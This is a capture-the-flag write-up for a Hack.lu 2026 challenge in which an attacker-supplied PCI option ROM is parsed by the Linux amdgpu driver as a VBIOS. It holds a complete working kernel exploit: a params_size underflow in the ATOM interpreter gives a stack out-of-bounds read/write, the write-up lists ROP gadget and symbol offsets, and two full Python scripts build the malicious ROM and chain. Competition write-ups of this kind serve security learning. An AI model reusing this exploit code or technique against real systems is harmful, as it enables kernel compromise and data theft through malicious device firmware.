$ cat writeup.md…
$ cat writeup.md…
Hack.lu2026
Task: a Rust vfio-user PCI device (AMD 1002:6780 'Tahiti') whose attacker-supplied ROM is parsed by the guest kernel's amdgpu driver as a VBIOS; BAR2 is dumped to the attacker. Solution: a malicious ATOM VBIOS with an INIT table PS byte of 0x44 makes atom_op_calltable pass params_size = -1, turning the ATOM_ARG_PS bounds check into a stack OOB read/write, which is used to build a kernel ROP chain (filp_open/kernel_read/ioremap/memcpy_toio) that copies the flag into BAR2.
Shitty kernel 0-days are a dime a dozen nowadays so who even cares.
English summary: the service is a Rust program (nuclear) that implements a
vfio-user PCI device on the server side. A remote client supplies a ROM
image (max 65536 bytes) which becomes the device's PCI ROM region. QEMU boots an
Arch Linux live ISO as the guest and attaches the device with
-device vfio-user-pci,.... A read-only virtio-blk disk contains the flag. When
QEMU exits (or after a 120 s timeout), the device dumps its BAR2 (256 KB of
u32 registers) to the attacker through xxd -a. The goal is to get the flag bytes
into BAR2.
nuclear/src/nuclear/src/{main.rs,pci.rs} (the PCI layer is a lifted crosvm copy):
1002:6780 = AMD FirePro W9000 "Tahiti", class
DisplayController/Other (0x0380).gzip -c rom.bin | base64, one
line followed by a blank line, ≤ 64 KB).run.sh launches
./nuclear <socket> <rom> | xxd -a and boots QEMU with
-enable-kvm -m 1536M -device vfio-user-pci,...,x-no-posted-writes:true -serial none -display none -monitor none -nic none -no-reboot -drive if=none,id=flag,file=flag.txt,format=raw,readonly=on -device virtio-blk-pci,drive=flag,serial=flag -cdrom archlinux.iso.The first hypothesis — a classic 16-bit option-ROM payload that reads the flag
disk with legacy virtio and writes BAR2 — was tested end-to-end in the exact
challenge QEMU (Ubuntu snapshot, QEMU 11.0.3) inside a linux/amd64 container. It
works only with -vga none. With the shipped -display none a stdvga
1234:1111 still exists, and SeaBIOS' optionrom_setup() skips
PCI_CLASS_DISPLAY_OTHER (0x0380) devices entirely; try_setup_display_other()
(the path that would run our ROM) is only reached when !have_vga. On the live
instance the BAR2 dump stayed all-zero, confirming the ROM is never executed by
the firmware.
The intended vector is therefore the guest kernel: the amdgpu driver maps
the ROM BAR (pci_map_rom) and parses it as a VBIOS.
params_size in the ATOM interpreterBooted with the real Arch kernel (7.2.7-arch1-1) and amdgpu.ko, the device is
probed, SI support provided by amdgpu / TAHITI 0x1002:0x6780 appears, and the
kernel reads our ROM as a VBIOS (check_atom_bios() → amdgpu_atom_parse() →
amdgpu_atom_asic_init()). The July-2026 ATOM hardening (execute-depth limit,
atom_iio_len table, bios_size bounds in atom_index_iio) is present, so the
public 2026 VBIOS CVEs are patched. The bug that remains is in the parameter-size
accounting:
/* amdgpu_atom_asic_init() */ int hwi = CU16(ctx->data_table + ATOM_DATA_FWI_PTR); uint32_t ps[16]; memset(ps, 0, 64); ps[0] = CU32(hwi + ATOM_FWI_DEFSCLK_PTR); /* must be nonzero */ ps[1] = CU32(hwi + ATOM_FWI_DEFMCLK_PTR); /* must be nonzero */ if (!ps[0] || !ps[1]) return 1; if (!CU16(ctx->cmd_table + 4 + 2 * ATOM_CMD_INIT)) return 1; return amdgpu_atom_execute_table(ctx, ATOM_CMD_INIT, ps, 16);
/* amdgpu_atom_execute_table_locked() */ ps = CU8(base + ATOM_CT_PS_PTR) & ATOM_CT_PS_MASK; /* 7-bit, from the VBIOS */ ectx.ps_shift = ps / 4; ectx.ps = params; ectx.ps_size = params_size; /* params_size == 16 */
/* atom_op_calltable() (opcode 82) */ idx = U8((*ptr)++); if (U16(ctx->ctx->cmd_table + 4 + 2 * idx)) r = amdgpu_atom_execute_table_locked(ctx->ctx, idx, ctx->ps + ctx->ps_shift, ctx->ps_size - ctx->ps_shift);
If the INIT table's PS byte is 0x44, then ps_shift = 0x44/4 = 17 > 16, so
the called table receives params_size = 16 - 17 = -1.
In atom_put_dst() / atom_get_src_int() the ATOM_ARG_PS branch is:
if (idx >= ctx->ps_size) { pr_info("PS index out of range..."); return; } ctx->ps[idx] = cpu_to_le32(val); /* and the mirrored read */
ctx->ps_size == -1 is compared against uint32_t idx, so -1 becomes
0xFFFFFFFF and the check never triggers. The effective window is
(original ps) + 17 dwords + idx dwords, i.e. an OOB read/write of 256 dwords
starting at ps+68 inside amdgpu_atom_asic_init's stack frame.
Two primitives fall out of this for free, purely from VBIOS bytecode:
ATOM_ARG_PS reads leak stack memory (saved return addresses → KASLR).ATOM_ARG_REG destinations go straight to cail_reg_write → WREG32 → MMIO
into BAR2 — a ready-made exfiltration primitive.ATOM_ARG_PS writes come from bytecode immediates or other stack slots —
arbitrary control of the 256-dword window.Userspace exfiltration is impossible on this guest:
/dev/mem read/write returns EFAULT because x86 valid_phys_addr_range()
only covers RAM.resourceN reads give EIO and the rom file gives EINVAL.So the flag read and the BAR2 write must both happen in kernel context — the ROP chain below does exactly that.
0x00 55 AA, byte 2 = size/512; u16 @ 0x18 = 0x14 (PCIR, 4-byte aligned
so the modern pci_rom_data_struct_valid() alignment check passes; PCIR
structure length ≥ 0x18, image length in 512-byte units at pds+0x10,
last-image bit at pds+0x15).0x30 " 761295520", u16 @ 0x48 = 0x100 (_ATOM_ROM_HEADER), 0x6E =
string-table offset.0x100: common header, "ATOM", u16 @ +0x1E = master command
table, u16 @ +0x20 = master data table.0x200: entry 0 = INIT table offset, entry 1 = second
table offset.0x240: u16 size, frev/crev, WS=0, PS=0x44, code =
CALLTABLE 1 (52 01) then EOT (5B).0x300: FirmwareInfo entry (data table index 4 → offset
0xC = ATOM_DATA_FWI_PTR), IIO pointer @ 0x32 pointed at a byte ≠ 0x21
so atom_index_iio() exits immediately.0x380: DEFSCLK (u32 @ +8) and DEFMCLK (u32 @ +0xC)
must both be non-zero or amdgpu_atom_asic_init() returns before running any
bytecode.0x400: its own PS byte is irrelevant (ps_size comes from the
caller).Useful ATOM opcode encodings (opcode table index == opcode value):
| Operation | Bytes |
|---|---|
MOVE PS[i] <- IMM32 | 02 05 <i> <imm32> |
MOVE PS[dst] <- PS[src] | 02 01 <dst> <src> |
ADD PS[i] += IMM32 | 2C 05 <i> <imm32> |
SUB PS[i] -= IMM32 | 32 05 <i> <imm32> |
MOVE REG[r] <- PS[i] | 01 01 <r u16> <i> |
CALLTABLE n | 52 <n> |
EOT | 5B |
The BAR2 byte offset equals 4 * REG index (verified empirically): writing
MOVE REG[0x1000+i] <- PS[i] lands the leak at BAR2 offset 0x4000 + 4i.
Disassembling amdgpu.ko and a deliberate oops (returning to
0xffffffffdeadbeef prints RSP and the call trace) gave:
ps+64..71 amdgpu_atom_asic_init canary (slot 0 == ps+68 must never be written)
ps+72..79 saved return address -> amdgpu_device_init.cold+0xd08 (= module+0x7f6d90)
ps+80..239 amdgpu_device_init frame, its return address at ps+240 -> amdgpu_driver_load_kms+0x19
ps+248..271 amdgpu_driver_load_kms frame, return at ps+272 -> amdgpu_pci_probe+0x1f5
ps+280..335 amdgpu_pci_probe frame, return at ps+336 -> local_pci_probe+0x4a
ps+672 function pointer &__driver_attach (= kernel+0x104be00)
ps+296 stack pointer == ps+0x180
All three anchors are deterministic deltas, so the ATOM bytecode derives the runtime bases itself:
kernel_base_lo = [ps+672] - 0x104be00module_base_lo = [ps+72] - 0x7f6d90ps_lo = [ps+296] - 0x180, ps_hi = [ps+300]Every ROP qword is then written with MOVE PS[..] <- PS[tmp] + ADD PS[..] += <offset>. No 32-bit carry occurs because the kernel/module base low dwords are
below 0xc0000000 and all offsets are below 0x1000000. The hijacked ret
leaves rsp = ps+80, so the chain starts at slot 1 (ps+72).
Gadgets (offsets from _text, KASLR-invariant; use pop gadgets that end in
jmp __x86_return_thunk, since plain ret bytes can be rewritten at boot):
pop rdi 0x203b49 | pop rsi 0x20ba4c | pop rdx 0x2027e4 | pop rcx 0x20274b
mov rdi,rax ; pop rbx ; mov rax,rdi ; jmp thunk 0x3e86f5
Kernel symbols: filp_open 0x7d6830, kernel_read 0x7da330, ioremap 0x349ff0,
memcpy_toio 0xd9f0e0, do_exit 0x375a90.
Chain (qwords written at ps+72 onward, using the OOB window as both ROP stack
and scratch storage):
pop rdi ; "/dev/vda" (string placed in the same stack window)
pop rsi ; 0 (O_RDONLY)
pop rdx ; 0
filp_open -> rax = struct file*
mov rdi, rax ; <pad qword>
pop rsi ; stack scratch buffer (512 bytes inside the OOB window)
pop rdx ; 512
pop rcx ; &pos (a zeroed qword in the window)
kernel_read -> flag bytes land in the kernel stack window
pop rdi ; 0xF0000000 (BAR2 physical address)
pop rsi ; 0x4000
ioremap -> rax = kernel VA of BAR2
mov rdi, rax ; <pad qword>
pop rsi ; stack scratch buffer
pop rdx ; 512
memcpy_toio -> flag bytes written to BAR2
pop rdi ; 0
do_exit
memcpy_toio on this kernel issues 4-byte MMIO stores, which satisfies the
device's strict write filter (no "Invalid write" warnings were logged).
The two files below are the ATOM VBIOS builder and the exploit generator. Run
python3 final.py to emit final.bin and final.bin.b64 (one base64(gzip) line)
and feed that line, followed by a blank line, to the service.
#!/usr/bin/env python3 # vbios.py -- build a malicious AMD ATOM VBIOS inside a PCI option ROM. # # Target: linux 7.2.7 amdgpu ATOM interpreter bug # atom_op_calltable() -> amdgpu_atom_execute_table_locked(ctx, idx, # ctx->ps + ctx->ps_shift, ctx->ps_size - ctx->ps_shift) # with table PS byte = 0x44 -> ps_shift = 17 > ps_size 16 -> params_size = -1 # => ATOM_ARG_PS bounds checks compare idx against (unsigned)-1 => bypassed # => OOB read/write relative to `uint32_t ps[16]` in amdgpu_atom_asic_init. # # Frame layout of amdgpu_atom_asic_init (from amdgpu.ko disasm): # sub $0x58, %rsp ; ps = rsp+0x10 # ps[0..15] : ps+0 .. ps+63 # canary : ps+64 (8 bytes, gs:0x28) # ret addr : ps+72 (8 bytes) <- overwrite target # caller frame: ps+80 ... # # With ps_shift = 17 the OOB window is ps+68 + 4*idx (idx 0..255). # idx 0 -> ps+68 (upper half of canary) *** DO NOT WRITE *** # idx 1 -> ps+72 (saved return address low dword) # idx 2 -> ps+76 (saved return address high dword) # idx 3+ -> ROP chain qwords import struct # ---------------- ATOM opcode encodings ---------------- OP_MOVE_REG = 1 OP_MOVE_PS = 2 OP_ADD_PS = 44 # 0x2C OP_CALLTABLE = 82 # 0x52 OP_EOT = 91 # 0x5B def move_reg_imm(reg, imm): # MOVE REG[reg] <- IMM32 return bytes([OP_MOVE_REG, 0x05]) + struct.pack('<H', reg) + struct.pack('<I', imm) def move_reg_ps(reg, psidx): # MOVE REG[reg] <- PS[psidx] return bytes([OP_MOVE_REG, 0x01]) + struct.pack('<H', reg) + bytes([psidx]) def move_ps_imm(psidx, imm): # MOVE PS[psidx] <- IMM32 return bytes([OP_MOVE_PS, 0x05, psidx]) + struct.pack('<I', imm) def move_ps_ps(dst, src): # MOVE PS[dst] <- PS[src] return bytes([OP_MOVE_PS, 0x01, dst, src]) def add_ps_imm(dst, imm): # ADD PS[dst] += IMM32 return bytes([OP_ADD_PS, 0x05, dst]) + struct.pack('<I', imm & 0xFFFFFFFF) def sub_ps_imm(dst, imm): # SUB PS[dst] -= IMM32 return bytes([50, 0x05, dst]) + struct.pack('<I', imm & 0xFFFFFFFF) def calltable(idx): return bytes([OP_CALLTABLE, idx]) EOT = bytes([OP_EOT]) # ---------------- ROM layout ---------------- ROM_SIZE = 8192 HDR = 0x100 # _ATOM_ROM_HEADER CMD_TBL = 0x200 # master command table INIT_TBL = 0x240 # ATOM_CMD_INIT table (index 0) DAT_TBL = 0x300 # master data table FWI = 0x380 # FirmwareInfo IIO = 0x3E0 TBL1 = 0x400 # called table (index 1) -- OOB payload PS_SHIFT_BYTE = 0x44 # 68 -> ps_shift = 17 def build(init_code, tbl1_code=b'', init_ps=0x00, tbl1_ps=0x00, extra=None): rom = bytearray(ROM_SIZE) # --- option ROM header --- rom[0x00] = 0x55 rom[0x01] = 0xAA rom[0x02] = ROM_SIZE // 512 struct.pack_into('<H', rom, 0x18, 0x14) # PCIR pointer, 4-byte aligned rom[0x14:0x18] = b'PCIR' struct.pack_into('<H', rom, 0x1E, 0x0018) # pds+0x0A: data struct length struct.pack_into('<H', rom, 0x24, ROM_SIZE // 512) # pds+0x10: image length rom[0x29] = 0x80 # pds+0x15: last image bit # --- ATI magic --- rom[0x30:0x3A] = b' 761295520' rom[0x3A] = 0 rom[0x2F] = 0x00 # no string table struct.pack_into('<H', rom, 0x6E, 0x80) # string start rom[0x80:0x87] = b'TAHITI\x00' rom[0x50:0x50+14] = b'01/01/26 00:00' struct.pack_into('<H', rom, 0x48, HDR) # pointer to ROM header # --- _ATOM_ROM_HEADER --- struct.pack_into('<H', rom, HDR + 0x00, 0x24) rom[HDR + 0x02] = 1 rom[HDR + 0x03] = 1 rom[HDR + 0x04:HDR + 0x08] = b'ATOM' struct.pack_into('<H', rom, HDR + 0x1E, CMD_TBL) struct.pack_into('<H', rom, HDR + 0x20, DAT_TBL) # --- master command table --- struct.pack_into('<H', rom, CMD_TBL + 0x00, 0x100) rom[CMD_TBL + 0x02] = 1 rom[CMD_TBL + 0x03] = 1 struct.pack_into('<H', rom, CMD_TBL + 0x04 + 2*0, INIT_TBL) struct.pack_into('<H', rom, CMD_TBL + 0x04 + 2*1, TBL1) # --- INIT table (index 0) --- body = init_code + EOT struct.pack_into('<H', rom, INIT_TBL + 0x00, 6 + len(body)) rom[INIT_TBL + 0x02] = 1 rom[INIT_TBL + 0x03] = 1 rom[INIT_TBL + 0x04] = 0x00 # WS size rom[INIT_TBL + 0x05] = init_ps # PS byte rom[INIT_TBL + 0x06:INIT_TBL + 0x06 + len(body)] = body # --- called table (index 1) --- body1 = tbl1_code + EOT struct.pack_into('<H', rom, TBL1 + 0x00, 6 + len(body1)) rom[TBL1 + 0x02] = 1 rom[TBL1 + 0x03] = 1 rom[TBL1 + 0x04] = 0x00 rom[TBL1 + 0x05] = tbl1_ps rom[TBL1 + 0x06:TBL1 + 0x06 + len(body1)] = body1 # --- master data table --- struct.pack_into('<H', rom, DAT_TBL + 0x00, 0x100) rom[DAT_TBL + 0x02] = 1 rom[DAT_TBL + 0x03] = 1 struct.pack_into('<H', rom, DAT_TBL + 0x04 + 2*4, FWI) # FirmwareInfo struct.pack_into('<H', rom, DAT_TBL + 0x0C, FWI) # ATOM_DATA_FWI_PTR struct.pack_into('<H', rom, DAT_TBL + 0x32, IIO - 4) # ATOM_DATA_IIO_PTR # --- FirmwareInfo: DEFSCLK/DEFMCLK must be nonzero --- struct.pack_into('<H', rom, FWI + 0x00, 0x40) rom[FWI + 0x02] = 1 rom[FWI + 0x03] = 1 struct.pack_into('<I', rom, FWI + 0x08, 0x00000100) struct.pack_into('<I', rom, FWI + 0x0C, 0x00000100) rom[IIO] = 0x00 # make atom_index_iio() exit immediately if extra: for off, data in extra: rom[off:off+len(data)] = data return bytes(rom)
#!/usr/bin/env python3 # final.py -- Nuclear (hack.lu 2026) exploit ROM. # # Full kernel-side chain: read the flag disk with filp_open/kernel_read into a # scratch area on the kernel stack, ioremap the device BAR2 and memcpy_toio the # bytes there, then do_exit(0). Everything is self-contained in the VBIOS. import struct, sys, gzip, base64, os, importlib.util HERE = os.path.dirname(os.path.abspath(__file__)) spec = importlib.util.spec_from_file_location('vbios', os.path.join(HERE, 'vbios.py')) vb = importlib.util.module_from_spec(spec); spec.loader.exec_module(vb) # ---- ATOM bytecode ---- def mv_ps_imm(slot, imm): return bytes([2, 0x05, slot]) + struct.pack('<I', imm & 0xFFFFFFFF) def mv_ps_ps(dst, src): return bytes([2, 0x01, dst, src]) def add_ps_imm(slot, imm): return bytes([44, 0x05, slot]) + struct.pack('<I', imm & 0xFFFFFFFF) def sub_ps_imm(slot, imm): return bytes([50, 0x05, slot]) + struct.pack('<I', imm & 0xFFFFFFFF) def calltable(n): return bytes([82, n]) EOT = bytes([91]) # ---- kernel offsets (KASLR invariant) ---- K_POP_RDI = 0x203b49 K_POP_RSI = 0x20ba4c K_POP_RDX = 0x2027e4 K_POP_RCX = 0x20274b K_MOV_RDI_RAX = 0x3e86f5 # mov rdi,rax ; pop rbx ; mov rax,rdi ; jmp thunk K_FILP_OPEN = 0x7d6830 K_KERNEL_READ = 0x7da330 K_IOREMAP = 0x349ff0 K_MEMCPY_TOIO = 0xd9f0e0 K_DO_EXIT = 0x375a90 PS_ANCHOR_SLOT = 57 # [ps+296] == ps + 0x180 PS_ANCHOR_DELTA = 0x180 KERNEL_ANCHOR_SLOT = 151 # [ps+672] == kernel + 0x104be00 KERNEL_ANCHOR_OFF = 0x104be00 MOD_RET_OFF = 0x7f6d90 # [ps+72] == module + 0x7f6d90 S_MOD, S_KER, S_PLO, S_PHI = 70, 71, 72, 73 D_PATHVDA = 0x200 # "/dev/vda\0" D_BUF = 0x220 # 512 byte scratch (filled by kernel_read) D_POS = 0x430 # loff_t position storage BAR2_PHYS = 0xf0000000 BAR2_SIZE = 0x4000 READ_LEN = 512 class Asm: def __init__(self): self.pre = [] self.writes = {} def emit(self, code, off): self.writes.setdefault(off, []).append(code) def dwords(self, off, data): for i in range(0, len(data), 4): chunk = data[i:i+4].ljust(4, b'\0') slot = (off + i - 68) // 4 assert (off + i - 68) % 4 == 0 and 1 <= slot <= 255, (off, i, slot) self.emit(mv_ps_imm(slot, struct.unpack('<I', chunk)[0]), off + i) def q_imm(self, off, value): self.dwords(off, struct.pack('<Q', value & 0xFFFFFFFFFFFFFFFF)) def q_stack(self, off, delta): s = (off - 68) // 4 self.emit(mv_ps_ps(s, S_PLO), off) if delta: self.emit(add_ps_imm(s, delta), off) self.emit(mv_ps_ps(s + 1, S_PHI), off) def q_kernel(self, off, off_in_kernel): s = (off - 68) // 4 self.emit(mv_ps_ps(s, S_KER), off) if off_in_kernel: self.emit(add_ps_imm(s, off_in_kernel), off) self.emit(mv_ps_imm(s + 1, 0xFFFFFFFF), off) def finish(self): out = list(self.pre) for off in sorted(self.writes): out.extend(self.writes[off]) return out def build_payload(): a = Asm() # anchors -> bases a.pre.append(mv_ps_ps(S_MOD, 1)); a.pre.append(sub_ps_imm(S_MOD, MOD_RET_OFF)) a.pre.append(mv_ps_ps(S_KER, KERNEL_ANCHOR_SLOT)); a.pre.append(sub_ps_imm(S_KER, KERNEL_ANCHOR_OFF)) a.pre.append(mv_ps_ps(S_PLO, PS_ANCHOR_SLOT)); a.pre.append(sub_ps_imm(S_PLO, PS_ANCHOR_DELTA)) a.pre.append(mv_ps_ps(S_PHI, PS_ANCHOR_SLOT + 1)) a.dwords(D_PATHVDA, b'/dev/vda\0') a.q_imm(D_POS, 0) off = 0x48 # ps+72 = first chain qword def nxt(): nonlocal off r = off; off += 8; return r a.q_kernel(nxt(), K_POP_RDI) a.q_stack(nxt(), D_PATHVDA) a.q_kernel(nxt(), K_POP_RSI) a.q_imm(nxt(), 0) # O_RDONLY a.q_kernel(nxt(), K_POP_RDX) a.q_imm(nxt(), 0) a.q_kernel(nxt(), K_FILP_OPEN) a.q_kernel(nxt(), K_MOV_RDI_RAX) a.q_imm(nxt(), 0) # pad (popped by that gadget) a.q_kernel(nxt(), K_POP_RSI) a.q_stack(nxt(), D_BUF) a.q_kernel(nxt(), K_POP_RDX) a.q_imm(nxt(), READ_LEN) a.q_kernel(nxt(), K_POP_RCX) a.q_stack(nxt(), D_POS) a.q_kernel(nxt(), K_KERNEL_READ) a.q_kernel(nxt(), K_POP_RDI) a.q_imm(nxt(), BAR2_PHYS) a.q_kernel(nxt(), K_POP_RSI) a.q_imm(nxt(), BAR2_SIZE) a.q_kernel(nxt(), K_IOREMAP) a.q_kernel(nxt(), K_MOV_RDI_RAX) a.q_imm(nxt(), 0) # pad a.q_kernel(nxt(), K_POP_RSI) a.q_stack(nxt(), D_BUF) a.q_kernel(nxt(), K_POP_RDX) a.q_imm(nxt(), READ_LEN) a.q_kernel(nxt(), K_MEMCPY_TOIO) a.q_kernel(nxt(), K_POP_RDI) a.q_imm(nxt(), 0) a.q_kernel(nxt(), K_DO_EXIT) assert off <= D_PATHVDA, "chain overwrites data area: %#x" % off return a.finish() def build_rom(with_leak=True): init = calltable(1) t1 = b'' if with_leak: # mirror 256 dwords of the OOB window into BAR2 (diagnostics + sanity) t1 += b''.join(bytes([1, 0x01]) + struct.pack('<H', 0x1000 + i) + bytes([i]) for i in range(256)) t1 += b''.join(build_payload()) return vb.build(init, t1, init_ps=vb.PS_SHIFT_BYTE) if __name__ == '__main__': rom = build_rom(with_leak=True) open(os.path.join(HERE, 'final.bin'), 'wb').write(rom) b64 = base64.b64encode(gzip.compress(rom, 9)).decode() open(os.path.join(HERE, 'final.bin.b64'), 'w').write(b64 + '\n') print("wrote final.bin (%d bytes, b64 %d chars)" % (len(rom), len(b64)))
Submit: pipe the single base64 line plus a blank line to the service
(nc/openssl s_client), then read the xxd -a BAR2 dump. The flag appeared
at BAR2 offset 0 in the dump (format flag{REDACTED}).
1:11.0.3) inside a linux/amd64 container, the real Arch kernel + initramfs,
the real nuclear binary, and a fake flag.txt disk. The BAR2 dump began with
the local test flag, and the device log showed
Write regs[0x0000] = 0x67616c66 ('flag') etc. — no "Invalid write" warnings,
so every MMIO write was 4-byte.xxd -a dump start with the real flag bytes at offset 0.Use this technique when:
1002:6780 "Tahiti" here) and the guest
is a full Linux distro (not a bare option-ROM/boot environment): the
amdgpu driver will pci_map_rom and parse your ROM as a VBIOS.-vga none is silently skipped under -display none: SeaBIOS' optionrom_setup() skips PCI_CLASS_DISPLAY_OTHER (0x0380)
when any VGA exists — so the firmware never runs the ROM and the kernel is the
real attack surface./dev/mem gives EFAULT (valid_phys_addr_range() only covers RAM), sysfs
resourceN gives EIO, rom gives EINVAL.CU8(base + ATOM_CT_PS_PTR) & 0x7F) can be
set to 0x44: ps_shift = 17 > params_size = 16 makes atom_op_calltable()
recurse with a negative params_size, and the idx >= ctx->ps_size check
in atom_put_dst/atom_get_src_int (comparing a uint32_t index against a
negative int) is bypassed — a clean stack OOB read/write of 256 dwords.ATOM_ARG_PS gives you arbitrary stack read/write from VBIOS bytecode
alone, and ATOM_ARG_REG gives you MMIO writes into the device BAR — a
self-contained KASLR bypass (leak saved return addresses) plus exfiltration
primitive.&__driver_attach, a stack pointer) at fixed offsets from the vulnerable frame
— derive the KASLR bases at runtime from those anchors instead of hardcoding.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar